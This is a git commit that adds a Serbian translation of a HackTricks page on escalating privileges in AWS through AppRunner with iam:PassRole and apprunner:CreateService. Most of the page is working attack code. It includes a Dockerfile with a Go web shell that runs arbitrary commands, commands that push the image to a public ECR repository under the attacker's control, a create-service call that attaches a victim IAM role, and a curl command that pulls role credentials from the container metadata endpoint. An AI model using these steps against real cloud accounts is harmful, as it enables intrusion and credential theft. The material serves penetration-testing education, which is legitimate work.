Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-08-01 09:45:54 +00:00
parent 2614591d14
commit 35797d8db1
4 changed files with 86 additions and 204 deletions

View File

@@ -0,0 +1,72 @@
# AWS - AppRunner Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AppRunner
### `iam:PassRole`, `apprunner:CreateService`
Napadač sa ovim dozvolama može da kreira AppRunner servis sa priloženom IAM ulogom, potencijalno eskalirajući privilegije pristupom kredencijalima uloge.
Napadač prvo kreira Dockerfile koji služi kao web shell za izvršavanje proizvoljnih komandi na AppRunner kontejneru.
```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}
fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```
Zatim, pošaljite ovu sliku u ECR repozitorijum.
Povećanje privilegija je moguće čak i ako žrtvin nalog nema dozvole za manipulaciju ECR-om, slanjem slike u javni repozitorijum u AWS nalogu koji kontroliše napadač.
```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```
Zatim, napadač kreira AppRunner servis konfigurisano sa ovom web shell slikom i IAM rolom koju želi da iskoristi.
```bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
```
Nakon što sačekate da se kreacija servisa završi, koristite web shell da preuzmete kredencijale kontejnera i dobijete dozvole IAM Role povezane sa AppRunner.
```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
**Potencijalni uticaj:** Direktno eskaliranje privilegija na bilo koju IAM ulogu koja može biti povezana sa AppRunner uslugama.
{{#include ../../../banners/hacktricks-training.md}}